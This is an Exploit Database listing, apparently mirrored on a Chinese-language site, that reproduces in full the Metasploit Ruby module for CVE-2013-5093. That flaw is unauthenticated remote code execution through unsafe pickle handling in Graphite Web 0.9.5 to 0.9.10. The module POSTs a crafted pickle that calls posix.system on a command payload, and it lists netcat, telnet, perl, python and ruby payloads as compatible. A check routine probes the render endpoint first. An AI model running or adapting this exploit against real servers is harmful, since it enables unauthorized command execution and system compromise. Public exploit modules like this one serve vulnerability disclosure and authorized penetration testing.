Graphite Web – Unsafe Pickle Handling (Metasploit)

• Exploit Database
• 35 阅读

• 作者： Metasploit
  日期： 2013-08-21
• 类别：

  • remote
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/27752/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'Graphite Web Unsafe Pickle Handling',
  'Description' => %q{
  This module exploits a remote code execution vulnerability in the pickle
  handling of the rendering code in the Graphite Web project between version
  0.9.5 and 0.9.10(both included).
  },
  'Author' =>
  [
  'Charlie Eriksen' # Initial discovery and exploit
  ],
  'License' => MSF_LICENSE,
  'References'=>
  [
  [ 'CVE', '2013-5093'],
  [ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
  ],
  'Platform'=> 'unix',
  'Arch'=> ARCH_CMD,
  'Privileged'=> false,
  'Targets' => [ ['Automatic', {} ] ],
  'DisclosureDate' => 'Aug 20 2013',
  'DefaultTarget'=> 0,
  'Payload' =>
  {
  'DisableNops' => true,
  'Space'=> 16384,
  'Compat'=>
  {
  'PayloadType' => 'cmd',
  'RequiredCmd' => 'python generic telnet netcat perl ruby'
  }
  }))
  
  register_options(
  [
  OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
  ], self.class)
  
  end
  
  def check
  response = send_request_cgi({
  'uri'=> normalize_uri(target_uri.path, 'render', 'local'),
  'method' => 'POST'
  })
  
  if response and response.code == 500
  return Exploit::CheckCode::Detected
  end
  return Exploit::CheckCode::Safe
  end
  
  def exploit
  data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."
  
  print_status("Sending exploit payload...")
  
  response = send_request_cgi({
  'uri'=> normalize_uri(target_uri.path, 'render', 'local'),
  'method' => 'POST',
  'data'=> data
  })
  end
  end